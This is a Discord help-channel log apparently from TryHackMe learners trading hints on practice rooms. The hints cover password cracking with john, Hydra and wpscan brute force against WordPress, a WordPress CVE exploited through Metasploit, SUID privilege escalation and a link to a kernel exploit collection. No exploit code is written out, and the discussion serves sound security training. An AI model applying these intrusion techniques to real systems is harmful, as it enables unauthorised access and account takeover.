odd idol Jul 12, 2020, 5:45 PM

#

I used gpg2john to convert the key, then cracked it with john

stuck fractal Jul 12, 2020, 5:46 PM

#

So you still need to import the key

#

Then you can decrypt the files using that key

odd idol Jul 12, 2020, 5:46 PM

#

aaah ok, thanks

#

just to check, the key is the output from john? of the actual pgp file?

stuck fractal Jul 12, 2020, 5:54 PM

#

Nope?

odd idol Jul 12, 2020, 5:54 PM

#

got it! I've never done pgp before

#

any recomendations for rooms??

stuck fractal Jul 12, 2020, 5:55 PM

#

I have a room on this coming soon

odd idol Jul 12, 2020, 5:55 PM

#

ok great!

stuck fractal Jul 12, 2020, 5:55 PM

#

Are you a subscriber?

odd idol Jul 12, 2020, 5:55 PM

#

yeah

stuck fractal Jul 12, 2020, 5:55 PM

#

You'll be able to do it when it comes out then

#

Don't have an ETA at the moment, but it's ready to be released

twin shale Jul 12, 2020, 5:59 PM

#

Blog completed

#

If anybody need help, feel free to pm me

#

I loved the room

white salmon Jul 12, 2020, 6:00 PM

#

@stuck fractal thank you for the suggestions, i'm starting to practice on RE. i will let you know if i have problem

stuck fractal Jul 12, 2020, 6:00 PM

#

Just ask here if it's THM content

twin shale Jul 12, 2020, 6:00 PM

#

NamelessOne genius

stuck fractal Jul 12, 2020, 6:00 PM

#

No need for me specifically

#

@verbal wedge ^ ❤️

odd idol Jul 12, 2020, 6:00 PM

#

Don't have an ETA at the moment, but it's ready to be released
@stuck fractal Thanks a lot, I will keep an eye out for it!

verbal wedge Jul 12, 2020, 6:01 PM

#

I'm glad you liked it

#

It was a pain in the ass to configure lol

twin shale Jul 12, 2020, 6:02 PM

#

hahaha

#

It was worth it

#

I guess

oblique cliff Jul 12, 2020, 6:04 PM

#

ZTHObscureWebVulns Task 18, jwt.io says ||an algorithm of none is invalid||, is my setting somewhere else incorrect?

📎 SPOILER_unknown.png

cedar coral Jul 12, 2020, 6:34 PM

#

hi , need some help in Blog . thanx

torn pine Jul 12, 2020, 7:26 PM

#

@cedar coral You got to let us know more? Room, task, question, what have you tried and where do you fail?

verbal wedge Jul 12, 2020, 8:27 PM

#

^

#

I can help but need something to go off of

sick coyote Jul 12, 2020, 8:28 PM

#

Hey I found user.txt for Jeff, but it does not seem to work. ||I ran md5sum on user.txt. Ran it on the whole contents and the content between the {}. Did the same with sha1sum but no luck|| What am I doing wrong?

white salmon Jul 12, 2020, 8:32 PM

#

add THM in front of it

sick coyote Jul 12, 2020, 8:39 PM

#

Thanks! Got it

mild eagle Jul 12, 2020, 8:51 PM

#

moved from general 🙂 . When running hydra i get the below but how do i get see the password ? STATUS] 1646.00 tries/min, 1646 tries in 00:01h, 14342753 to do in 145:14h, 16 active
[80][http-post-form] host: IP login: USERNAME
1 of 1 target successfully completed, 1 valid password found

stuck fractal Jul 12, 2020, 8:52 PM

#

When hydra says login rather than username and password, it means it was the same for both

#

Or you only fuzzed one field (I think, not so sure about this one)

mild eagle Jul 12, 2020, 8:52 PM

#

arh okay

stuck fractal Jul 12, 2020, 8:52 PM

#

Even if you know the username, ^USER^ and -l username

mild eagle Jul 12, 2020, 8:53 PM

#

Guess it makes sense 🙂

stuck fractal Jul 12, 2020, 8:57 PM

#

Hydra is a fairly weird tool for web stuff. Not always as intuitive as it should be

dull palm Jul 12, 2020, 9:39 PM

#

so retro and blaster are basically the same room, but i can not get the verisighn site to open in retro, so that exploit doesnt work. looked at MuirlandOracle writeup, but IE never opens

stuck fractal Jul 12, 2020, 9:39 PM

#

Retro is intentionally a bit broken

#

That's why blaster was made

dull palm Jul 12, 2020, 9:40 PM

#

so not completable or just a different way?

stuck fractal Jul 12, 2020, 9:40 PM

#

It's completable sometimes, really hit or miss

#

Check the pins in #650425164894568455

white salmon Jul 12, 2020, 9:42 PM

#

you can get privesc of retro with an other exploit

#

use one from this site https://github.com/SecWiki/windows-kernel-exploits

GitHub

SecWiki/windows-kernel-exploits

windows-kernel-exploits Windows平台提权漏洞集合. Contribute to SecWiki/windows-kernel-exploits development by creating an account on GitHub.

#

can't remember which one

oblique cliff Jul 12, 2020, 9:45 PM

#

@dull palm what evil maid said. The intended exploit didn’t work for me when I did that room either

brisk bluff Jul 12, 2020, 9:47 PM

#

i did the room just a few days ago. I had the same struggle. then out of nowhere it suddenly did work, its a bit wonky

dull palm Jul 12, 2020, 9:55 PM

#

Thank yall, laptop is now having a fit. I will figure it out.

mellow notch Jul 12, 2020, 10:14 PM

#

Hey everyone, not very good at reversing/decompiling ELFs. Any advice/resources for dealing with Blog??

white salmon Jul 12, 2020, 10:14 PM

#

try ghidra

mellow notch Jul 12, 2020, 10:15 PM

#

Alright I’ll check it out now. Appreciate it 👍

stuck fractal Jul 12, 2020, 10:41 PM

#

Eh, a decompiler goes a long way here

mellow notch Jul 12, 2020, 10:54 PM

#

Hey ninja, I’m not too savvy with Linux decompilers. Did some googling and used gdb/objdump and was able to see what was going on. Ended up running through ghidra and the code is very clear in there.

#

So working on exploiting it now

stuck fractal Jul 12, 2020, 10:55 PM

#

I use Cutter

#

Which is a gui for radare

#

You can install ghidra's decompiler (Or the appimage for linux ships with it)

mellow notch Jul 12, 2020, 10:55 PM

#

Okay, heard lots of people mention radare in other rooms

#

I’ll check that out as well

toxic scarab Jul 12, 2020, 11:06 PM

#

So working on exploiting it now
@mellow notch just an FYI/hint -- once you see what to exploit, it shouldn't take more than a few seconds to implement. if it does, you're on the wrong track.

verbal wedge Jul 12, 2020, 11:33 PM

#

@mellow notch just an FYI/hint -- once you see what to exploit, it shouldn't take more than a few seconds to implement. if it does, you're on the wrong track.
@toxic scarab

What he said

mellow notch Jul 13, 2020, 12:13 AM

#

Thanks everyone, got it figured out. I have done this exploit before dozens of times.... major brain block for a bit. Idk why I didn’t recognize it immediately.

oblique cliff Jul 13, 2020, 12:39 AM

#

Room uopeasy, anyone know how to do the sqli manually? the hint uses sqlmap, but id like to learn the manual method. Question 6

hexed kindle Jul 13, 2020, 12:57 AM

#

Has anyone here finished Learn Linux? Need a hint to finish the final task - The True Ending

trim haven Jul 13, 2020, 12:57 AM

#

Make sure to look really hard through all the user directories you have access to

hexed kindle Jul 13, 2020, 1:03 AM

#

That's exactly what I am doing right now 😄. I think I found the user who is on the sudoers list.

oblique cliff Jul 13, 2020, 1:06 AM

#

nice then you should be on track!

oblique cliff Jul 13, 2020, 1:53 AM

#

so uh... Room" uopeasy, i run sqlmap and it doesnt dump anything to answer questions 7 or 8. I ran it as in the hint. Is there something i need to then do after that to dump a certain table? I tried to dump the ||phpmyadmin table|| but that doesnt seem to give anything back

📎 SPOILER_unknown.png

cold night Jul 13, 2020, 3:51 AM

#

Need help for attackerkb room of question what type of attacker it is

stuck fractal Jul 13, 2020, 3:51 AM

#

Go to the exploit page, first "comment" thing

cold night Jul 13, 2020, 3:51 AM

#

I get webmin page

#

link but I don't find any attacker type there

stuck fractal Jul 13, 2020, 3:52 AM

#

On attackerkb

#

First comment thing

#

States it explicitly.

cold night Jul 13, 2020, 3:52 AM

#

yes on that I have found the webmin official issue page

stuck fractal Jul 13, 2020, 3:52 AM

#

No

#

The attackerkb page

cold night Jul 13, 2020, 3:52 AM

#

but don't get

stuck fractal Jul 13, 2020, 3:52 AM

#

The first comment type thing on there

cold night Jul 13, 2020, 3:53 AM

#

http://www.webmin.com/exploit.html

stuck fractal Jul 13, 2020, 3:53 AM

#

Wrong page.

#

Look on the attackerkb article

cold night Jul 13, 2020, 3:53 AM

#

I get this link from the comment

stuck fractal Jul 13, 2020, 3:53 AM

#

I've said this 3 times

cold night Jul 13, 2020, 3:54 AM

#

https://attackerkb.com/comments/47121204-76ee-4d80-960c-74079d2377d0

AttackerKB

busterb's comment on Webmin password_change.cgi Command Injection |...

There is more information here on how the attack was carried out: http://www.webmin.com/exploit.html From the article: > At some time in April 2018, the Webmin…

#

this one

#

I have checked that

stuck fractal Jul 13, 2020, 3:54 AM

#

The page.

#

But not that comment.

#

The first comment type thing on there
@stuck fractal

cold night Jul 13, 2020, 3:54 AM

#

but don't get anything

stuck fractal Jul 13, 2020, 3:55 AM

#

I've told you where to look

cold night Jul 13, 2020, 3:56 AM

#

got it bro

stuck fractal Jul 13, 2020, 3:56 AM

#

See what happens when you don't ignore when people try to help you?

wicked kettle Jul 13, 2020, 4:04 AM

#

I'm stuck at [Task 43] Bonus Challenge - The True Ending in Learn Linux
I feel that it's something to do with user shiba2, however no luck.
Any hint would be appriciated.

toxic scarab Jul 13, 2020, 4:06 AM

#

did you try anything?

#

https://muirlandoracle.co.uk/2020/03/10/learn-linux-write-up/#Task_43_-_The_True_Ending

MuirlandOracle | Blog

Learn Linux -- Write-up | MuirlandOracle | Blog

TryHackMe Walkthrough Link: https://tryhackme.com/room/zthlinux Learn Linux is a great introductory room from Paradox. As the name suggests, it gives a nice foundation for Linux skills. This is a walkthrough room, so I'm not going to go into a huge amount of detail about the c...

wicked kettle Jul 13, 2020, 4:24 AM

#

It's solution 😦

cold night Jul 13, 2020, 4:26 AM

#

any hints?? for ra room

toxic scarab Jul 13, 2020, 4:27 AM

#

what have you done?

#

use spoilers if necessary

fresh sphinx Jul 13, 2020, 4:46 AM

#

https://gyazo.com/e72c26b477a8eefdbda4af288f70b37e

Gyazo

#

can anyone explain me how exactly I make a GET request with the path as stated above?

stuck fractal Jul 13, 2020, 4:47 AM

#

Have you considered googling how to make a GET request?

#

Or looking back through the content in the room, where it explains how?

fresh sphinx Jul 13, 2020, 4:48 AM

#

obviously

#

but I was in school a bit slow already

#

I will try one more time tho, and come back very mad when I still havent figured it out, hope that is ok

stuck fractal Jul 13, 2020, 4:50 AM

#

There's no shame in taking a break for a while

#

Taking a walk

tribal ginkgo Jul 13, 2020, 10:09 AM

#

hey can anyone help me with the last part of the cc:radare2 room

#

i can't seem to find anything

robust lagoon Jul 13, 2020, 10:51 AM

#

Did anyone manage to exploit Blog manually and get command execution? I am stuck at the last part, calling the post i just made with cmd. Not getting the same post request as the PoC on github

wooden mist Jul 13, 2020, 10:53 AM

#

I didn't fully succeed with that but i want to get the manual exploitation part done for the writeup soon™
the JS script didn't properly send the payload I think

robust lagoon Jul 13, 2020, 10:54 AM

#

Yeah same, stuck there. I tried adding cmd=id or whatever as part of the json request but only getting the contents of the page

#

If you make it work please share the blog post with me vent

wooden mist Jul 13, 2020, 10:54 AM

#

if i can't get it to work I might make a python/js script for that

robust lagoon Jul 13, 2020, 10:55 AM

#

I looked into the js exploit you have already in kali, or the metasploit module. Seems to check out tho

wooden mist Jul 13, 2020, 10:55 AM

#

yeah

robust lagoon Jul 13, 2020, 10:55 AM

#

Cool. I'll keep an eye out. Thanks for that

wooden mist Jul 13, 2020, 10:56 AM

#

if you want to progress now you might want to try the metasploit module as I didn't see any other PoC's for this one

robust lagoon Jul 13, 2020, 10:57 AM

#

Yeah already did, rooted now. Was exploring other options to keep myself busy yell_cat

burnt cosmos Jul 13, 2020, 11:11 AM

#

How long should the bruteforce for blog take?

wooden mist Jul 13, 2020, 11:13 AM

#

Not longer than 5 minutes

#

Took 2 for me with 64 threads

white salmon Jul 13, 2020, 11:26 AM

#

Hello, I have a question for Blog, the new room, just Yes or No. Is there any Binary reverse enginnering involved, or i can't figure it out?

wooden mist Jul 13, 2020, 11:28 AM

#

it's useful but not necessarily required

verbal wedge Jul 13, 2020, 11:36 AM

#

^

green sorrel Jul 13, 2020, 11:38 AM

#

Is it guaranteed that the exploit to get onto the blog box is ||CVE-2019-8942||

wooden mist Jul 13, 2020, 11:38 AM

#

yes

verbal wedge Jul 13, 2020, 11:38 AM

#

Yes

green sorrel Jul 13, 2020, 11:38 AM

#

rip I tried it and it didn't wanna work so I went down the rabbithole of ||SMB shares||

wooden mist Jul 13, 2020, 11:39 AM

#

did you try to do it manually?

green sorrel Jul 13, 2020, 11:39 AM

#

nah

#

used pub scripts

wooden mist Jul 13, 2020, 11:39 AM

#

js script?

green sorrel Jul 13, 2020, 11:39 AM

#

the one from exploitdb ye but I couldn't figure out how to embed the shell

wooden mist Jul 13, 2020, 11:39 AM

#

afaik that one is broken

#

try using the metasploit module for this cve

green sorrel Jul 13, 2020, 11:40 AM

#

alright

#

can I DM one of you about the metasploit method

wooden mist Jul 13, 2020, 11:45 AM

#

sure

radiant dew Jul 13, 2020, 12:09 PM

#

Is there a list of THM blue-team rooms anywhere? Things like SIEM, malware analysis, digital forensics, phishing, IR, etc

patent token Jul 13, 2020, 12:11 PM

#

Blue Primer.

bronze yarrow Jul 13, 2020, 12:27 PM

#

alright
@green sorrel You may need to change the ||payload||

indigo ridge Jul 13, 2020, 12:54 PM

#

room Blog, please hint for www-data -> bjoel

wooden mist Jul 13, 2020, 12:57 PM

#

hint: skip bjoel

indigo ridge Jul 13, 2020, 1:02 PM

#

direct root?

wooden mist Jul 13, 2020, 1:04 PM

#

skidy

indigo ridge Jul 13, 2020, 1:19 PM

#

hint: skip bjoel
@wooden mist I am getting nowhere.. any hint

wooden mist Jul 13, 2020, 1:21 PM

#

suid

indigo ridge Jul 13, 2020, 1:30 PM

#

ok

sinful plaza Jul 13, 2020, 2:13 PM

#

any hint on the blog room i have the username ||bjoel || have been brute forcing the login page but no luck

indigo ridge Jul 13, 2020, 2:14 PM

#

there are some more users

any hint on the blog room i have the username ||bjoel || have been brute forcing the login page but no luck
@sinful plaza

sinful plaza Jul 13, 2020, 2:14 PM

#

there are some more users
@sinful plaza
@indigo ridge thanks man

#

let me give a try

merry helm Jul 13, 2020, 2:20 PM

#

@sinful plaza Manual enumeration of Wordpress environments sometimes gets in the way of more than help, try an automated tool like wpscan to do this job, it will give you the return to climb another step in the room

sinful plaza Jul 13, 2020, 2:20 PM

#

@sinful plaza Manual enumeration of Wordpress environments sometimes gets in the way of more than help, try an automated tool like wpscan to do this job, it will give you the return to climb another step in the room
@merry helm thanks a lot bro let me use wpscan

verbal wedge Jul 13, 2020, 2:58 PM

#

Feels good to see everyone trying out Blog lol

fallen sedge Jul 13, 2020, 3:09 PM

#

Hello guys, i need some help with blog. I have a problem with my meterpreter session. Thanks.

mellow notch Jul 13, 2020, 3:15 PM

#

What’s wrong with your session?

fallen sedge Jul 13, 2020, 3:16 PM

#

Thank you for the answer. I have an error when i want to go in the directory with the user.txt. Stdapi_fs_stat

mellow notch Jul 13, 2020, 3:18 PM

#

Did you check the permissions of the directory where user.txt is? You won’t be able to access it as a low level user.

fallen sedge Jul 13, 2020, 3:19 PM

#

Ok thank you, i will check that.

mellow notch Jul 13, 2020, 3:20 PM

#

No problem 👍🏼 happy to help.

burnt dust Jul 13, 2020, 3:42 PM

#

billy

stuck fractal Jul 13, 2020, 3:43 PM

#

Wrong chat.

burnt dust Jul 13, 2020, 3:43 PM

#

i meant billy joel (blog.thm) hint ?

stuck fractal Jul 13, 2020, 3:43 PM

#

The room title is Blog.

burnt dust Jul 13, 2020, 3:43 PM

#

damn. my bad

stuck fractal Jul 13, 2020, 3:44 PM

#

Hints depend on what stage you're at

#

You can't get a hint if we don't know what part you're at

burnt dust Jul 13, 2020, 3:48 PM

#

@stuck fractal thanks for correction, yes the room name is Blog.
I think I am on the first stage (trying to getting USER.txt and than ROOT.txt), tried various password combos to get into WP admin portal, but PASS fails, in my enum phase I got wordpress version, wordpress valid usernames, rabbit hole (smb), QR code etc...
what direction should I look for ?

stuck fractal Jul 13, 2020, 3:49 PM

#

You should have two users.

burnt dust Jul 13, 2020, 3:49 PM

#

indeed, yes !

stuck fractal Jul 13, 2020, 3:49 PM

#

Try some simple brute force on each, for about 5 minutes

#

Use wpenum

burnt dust Jul 13, 2020, 3:49 PM

#

hmmm ok. i use wpscan mostly 😕

stuck fractal Jul 13, 2020, 3:51 PM

#

That's the one

#

Names are all similar

burnt dust Jul 13, 2020, 3:51 PM

#

i hope i found the valid pass in ROCKYOU.txt.
lets see !

stuck fractal Jul 13, 2020, 3:52 PM

#

If you need to brute force on tryhackme, the password will be in rockyou

#

And it will take under 5 minutes to get it.

burnt dust Jul 13, 2020, 3:53 PM

#

@stuck fractal Thanks 👍
for helping a newbie.

stuck fractal Jul 13, 2020, 3:53 PM

#

If it takes more than 5 minutes, you're usually doing something wrong.

burnt dust Jul 13, 2020, 3:53 PM

#

got it. understood.
5-8 minutes is the baseline. I got it.

stuck fractal Jul 13, 2020, 3:56 PM

#

5 minutes is the limit for room creators

burnt dust Jul 13, 2020, 3:58 PM

#

thanks for this info.

verbal wedge Jul 13, 2020, 3:59 PM

#

Can confirm it should only take about 2 minutes with 64 threads

burnt dust Jul 13, 2020, 4:01 PM

#

@verbal wedge 64 threads gulps

#

i ran one user for 7 minutes
then canceled it, now running 2nd user
lets see

trim haven Jul 13, 2020, 4:02 PM

#

Be aware, 5 minutes is for a decent computer so if you don’t get the password and are stuck let them run for 10 minutes instead

burnt dust Jul 13, 2020, 4:03 PM

#

@trim haven hmmm
IMO the creators should take this into consideration. and decrease the time limit to 2,2:30 mints

trim haven Jul 13, 2020, 4:03 PM

#

They shouldn’t, you shouldn’t be hacking on a slow computer.

burnt dust Jul 13, 2020, 4:03 PM

#

lol

trim haven Jul 13, 2020, 4:04 PM

#

I’m sure your computer is fine but some people hack on old laptops which is why I’m telling you to be aware

verbal wedge Jul 13, 2020, 4:04 PM

#

I did purposely lower it

#

I had originally selected a password further down in rockyou that was taking only 4 minutes ish for me

#

But when a tester tested it it was taking a loooong time

burnt dust Jul 13, 2020, 4:05 PM

#

because of VPN, 4minutes may get translated into more than 4 minutes !
(i think)

#

so, I dont think its about having a FAST CPU or not, the traffic on VPN is usually slow 😕

verbal wedge Jul 13, 2020, 4:05 PM

#

It would contribute a slight amount of time but not that much I don't think

burnt dust Jul 13, 2020, 4:06 PM

#

hmm, maybe you're right .

verbal wedge Jul 13, 2020, 4:06 PM

#

Also you said you were trying for bjoel

#

His password won't be crackable

#

At least not using rockyou

burnt dust Jul 13, 2020, 4:06 PM

#

lol. i got it

verbal wedge Jul 13, 2020, 4:06 PM

#

Which is the standard

burnt dust Jul 13, 2020, 4:06 PM

#

06:44 seconds for me

#

is the time

#

guys

#

^_^

#

thanks ppl.

verbal wedge Jul 13, 2020, 4:07 PM

#

Now comes the hard part lol

burnt dust Jul 13, 2020, 4:07 PM

#

🤦‍♂️